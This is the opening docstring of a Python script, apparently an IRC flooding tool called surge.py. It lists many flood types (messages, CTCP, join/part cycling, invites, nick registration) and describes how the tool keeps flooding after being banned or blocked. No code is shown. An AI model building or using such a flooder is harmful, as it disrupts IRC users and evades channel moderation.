# surge.py

'''
- Action
- Color
- CTCP Channel / CTCP Nick *(PING, TIME, VERSION)*
- Cycle *(Join/Part)*
- Hilight
- Invite
- Message / Private Message
- Nick
- Notice
- Topic
- Nick Registration (Channel & VHOST also if successful)

The script uses IRC numeric detection and will stop a specific flood type if it becomes blocked.
If the channel becomes locked out due to a ban or specific mode, it will continue to flood the nicklist.
